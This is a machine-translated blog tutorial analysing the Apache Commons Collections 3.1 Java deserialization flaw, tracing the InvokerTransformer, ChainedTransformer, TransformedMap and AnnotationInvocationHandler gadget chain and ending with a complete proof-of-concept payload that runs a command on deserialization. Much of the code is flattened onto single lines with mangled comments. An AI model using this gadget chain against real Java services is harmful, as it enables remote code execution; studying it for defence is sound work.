Apache common collections with Java deserialization vulnerability

Apache common collections with Java deserialization vulnerability

Gongzong No.: Black palm

A blogger who focuses on sharing network security, hot spots in the hacker circle and hacker tool technology area!

preface:

Recently, I calmed down and read a lot of Daniel's notes and blogs. I have gained a lot, so I'd like to record the first step of Java security in the pit.

Apache Commons Collections is a component of Apache Commons. The problem of this vulnerability mainly occurs in org.com apache. commons. collections. On the Transformer interface. At Apache Commons An InvokerTransformer in collections implements the Transformer interface, which is mainly used to call Java reflection mechanism to call any function.

Affected component version: < = 3.1

1, Environment construction

For local test, Download commons-collections-3.1 Zip, and import the corresponding jar package in the project: commons-collections-3.1 jar

For example:

Create a common Java project in IntelliJ IDEA, and then file -- > project structure -- > Libraries -- > + add the corresponding jar package

2, Vulnerability analysis

Since it is a deserialization vulnerability, we assume that there is such a statement:

FileInputStream fileInputStream = new FileInputStream("unserialize.bin");
ObjectInputStream input = new ObjectInputStream(fileInputStream);
Object object = input.readObject();
input.close();
fileInputStream.close();

It means from unserialize Take binary data from bin binary file and deserialize it.

If unserialize If the contents of the bin file are controllable (that is, the user can input), there may be a deserialization vulnerability.

(it is a bit similar to the deserialization of PHP. The premise of utilization is that there are available classes or chains in the program)

If the program uses components of lower version Apache Commons, the corresponding input can be constructed to achieve the purpose of RCE.

The following is about Commons Analyze the classes used in Collections:

There is a Transformer interface in this component:

package org.apache.commons.collections;

public interface Transformer {
Object transform(Object var1);
}

There is a class that implements this interface, InvokerTransformer. You can look at the source code:

public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

}

After carefully analyzing the transform method, we can find that the reflection mechanism is used to call any method of the incoming object.

The above three parameters mean:

methodName: method name

paramTypes: parameter types

args: parameter value of the passed in method

Generally speaking, if you want RCE, you need to use the Runtime class, but the Runtime constructor is a private method, so you can't instantiate it directly. You need to call a static method to instantiate it, for example:

Runtime.getRuntime.exec("calc");

If you want to directly call the transform method of the InvokerTransformer above for command execution, you can write as follows:

Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"calc"});
invokerTransformer.transform(runtime);

Personal understanding: the above description directly instantiates a Runtime object, but the Runtime class does not implement the serialization interface (see the source code), that is, the Runtime instance object cannot be serialized. Therefore, when building the Payload, try not to have the Runtime instantiated object in the program. Therefore, two classes are introduced later:

ConstantTransformer class and ChainedTransformer class

Let's first look at the ConstantTransformer class:

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

public Object transform(Object input) {
return this.iConstant;
}

Its transform method will directly return the passed in parameters;

Take another look at the ChainedTransformer class:

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}

public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

Here are the key parts:

object = this.iTransformers[i].transform(object);

If iTransformers is the InvokerTransformer object above, we can construct multiple InvokerTransformer objects (note that iTransformers here is an array) and let this statement create Runtime instances through reflection, for example:

Transformer[] transformers = new Transformer[]{//Get Java Lang.classnew constanttransformer (runtime. Class), / / execute runtime class. Getmethod ("getruntime") new invokertransformer ("getmethod", new class [] {string. Class, class []. Class}, new object [] {getruntime ", new class [0]}), / / execute runtime class. getMethod("getRuntime"). Invoke() new invokertransformer ("invoke", new class [] {object. Class, object []. Class}, new object [] {null, new object [0]}), / / execute runtime class. getMethod("getRuntime"). invoke(). execnew InvokerTransformer("exec",new Class[] {String.class },new Object[] {"calc"})}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer. transform("123");

When constructed here, you can find that as long as you execute chainedtransformer The transform () method can RCE.

However, since it is a deserialization vulnerability, the best use is that after the input stream passed in by the user is deserialized, it can be directly attacked (that is, the vulnerability will be triggered when the program directly calls the readObject method). Therefore, several other classes are introduced later:

TransformeMap and AnnotationInvocationHandler classes

First, let's take a look at the TransformeMap class:

protected Object checkSetValue(Object value) {return this.valueTransformer.transform(value);}

There is a method such as checkSetValue in this class, which will call valuetransformer transform

That is to say, we need to construct this Valuetransformer is the value of chainedTransformer above;

By analyzing the constructor, we find that this value can be constructed directly:

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {return new TransformedMap(map, keyTransformer, valueTransformer);}protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {super(map);this.keyTransformer = keyTransformer;this.valueTransformer = valueTransformer;}

(because TransformedMap is a protected constructor, we need to initialize it with the static method modify provided by this class.)

Next, continue to follow up the parent class AbstractInputCheckedMapDecorator of TransformeMap, which has a static internal class:

static class MapEntry extends AbstractMapEntryDecorator {private final AbstractInputCheckedMapDecorator parent;protected MapEntry(Entry entry, AbstractInputCheckedMapDecorator parent) {super(entry);this.parent = parent;}public Object setValue(Object value) {value = this.parent.checkSetValue(value);return super.entry.setValue(value);}}

The setValue method here calls checkSetValue if this The parent points to the TransformeMap object we constructed earlier, so the vulnerability point can be triggered here.

Add this to the previous foundation: you can also execute commands

Map innerMap = new HashMap();innerMap.put("1", "1");//Construct the TransformedMap object and bring in the previously constructed transformerchainmap outermap = TransformedMap decorate(innerMap, null, transformerChain);// Return the entry inner class map Entry onlyElement = (Map.Entry) outerMap. entrySet(). iterator(). next(); onlyElement. setValue("123123");

Let's analyze this statement:

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

First call outermap entrySet (), that is, the entrySet method of TransformedMap:

public Set entrySet() {return (Set)(this.isSetValueChecking() ? new AbstractInputCheckedMapDecorator.EntrySet(super.map.entrySet(), this) : super.map.entrySet());}

Follow up on this isSetValueChecking:

protected boolean isSetValueChecking() {return this.valueTransformer != null;}

Through the previous construction, we will return true here, that is, the outermap above Entryset() will return new abstractinputcheckedmapdecorator EntrySet(super.map.entrySet(), this);

Follow up this class: (it is also a static internal class, which is in the same class as the MapEntry we need above)

static class EntrySet extends AbstractSetDecorator {private final AbstractInputCheckedMapDecorator parent;protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {super(set);this.parent = parent;}public Iterator iterator() {return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent);}}

It can be found that it assigns the transformerChain we passed in to the parent;

Next, the program executes the iterator method, that is, the above:

public Iterator iterator() {return new AbstractInputCheckedMapDecorator.EntrySetIterator(super.collection.iterator(), this.parent);}

It is found that it returns another object. Follow up on this object: (it is still a static inner class)

static class EntrySetIterator extends AbstractIteratorDecorator {private final AbstractInputCheckedMapDecorator parent;protected EntrySetIterator(Iterator iterator, AbstractInputCheckedMapDecorator parent) {super(iterator);this.parent = parent;}public Object next() {Entry entry = (Entry)super.iterator.next();return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);}}

It also assigns the transformer chain we constructed earlier to the parent;

Finally, the program calls the next method, that is:

public Object next() {Entry entry = (Entry)super.iterator.next();return new AbstractInputCheckedMapDecorator.MapEntry(entry, this.parent);}

It is found that it just returns the internal class MapEntry we finally need to construct, and assigns the parent exactly to the transformerChain value we construct;

Finally, call onlyElement.. setValue(“123123”); Trigger command execution;

After analysis, it is not enough, because we want to construct an exploitation chain that can trigger vulnerabilities only by calling the deserialization function. Here, we need to use the class AnnotationInvocationHandler (JDK version is less than 1.7). This class rewrites the readObject method and calls the setValue method of map in this method:

private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {s.defaultReadObject();// Check to make sure that types have not evolved incompatiblyAnnotationType annotationType = null;try {annotationType = AnnotationType.getInstance(type);} catch(IllegalArgumentException e) {// Class is no longer an annotation type; all bets are offreturn;}Map<String, Class<?>> memberTypes = annotationType.memberTypes();for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);if (memberType != null) {  // i.e. member still existsObject value = memberValue.getValue();if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {memberValue.setValue(new AnnotationTypeMismatchExceptionProxy(value.getClass() + "[" + value + "]").setMember(annotationType.members().get(name)));}}}

(this code is found on the Internet, and your own jdk version is 1.8 ~ ~ ~ ~)

It can be found that memberValues is a map object, and we can directly pass in parameters. Here is a statement:

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()){memberValue.setValue(...)}

In fact, it is the same as the above structure:

memberValues.entrySet().iterator().next()

At this point, it is more obvious. If we pass in a constructed AnnotationInvocationHandler object and the target reverses it, it will cause arbitrary code execution.

Payload is as follows:

import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.map.HashedMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.util.HashMap;import java.lang.reflect.Constructor;import java.util.Map;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;public class test implements Serializable{public static void main(String[] args) throws Exception{Transformer[] transformers = {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null ,new Object[0]} ),new InvokerTransformer("exec",new Class[] {String.class },new Object[] {"calc"})};Transformer transformerChain = new ChainedTransformer(transformers);Map map = new HashMap();map.put("value", "2");Map transformedmap = TransformedMap.decorate(map, null, transformerChain);Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);cons.setAccessible(true);Object ins = cons.newInstance(java.lang.annotation.Retention.class,transformedmap);//Serialize ins ByteArrayOutputStream exp = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(exp);oos.writeObject(ins);oos.flush();oos.close();// Take out the serialized data stream and deserialize it. Verify that ByteArrayInputStream out = new ByteArrayInputStream(exp.toByteArray());ObjectInputStream ois = new ObjectInputStream(out);Object obj = (Object) ois.readObject();}}

3, Summary

Deserialization vulnerabilities require known classes in the program, so it is important to find classes with bugs.

Java's deserialization vulnerability is really complex, but it's really interesting. (for example, the iterator () constructed above Next () fits exactly with the iteration of the class being used.

The reflection mechanism may be used because some classes that need to be used do not inherit the deserialization interface. Therefore, using dynamic generation of corresponding objects can avoid non serialization, so as to construct the desired payload data stream.

That's all for today's sharing. My favorite little partner remembers to click three times. I have a public zongzi number[ Black palm ], you can get more hacker secrets for free. Welcome to play!

Keywords: Java security Cyber Security Information Security

Added by messer on Sun, 23 Jan 2022 23:39:34 +0200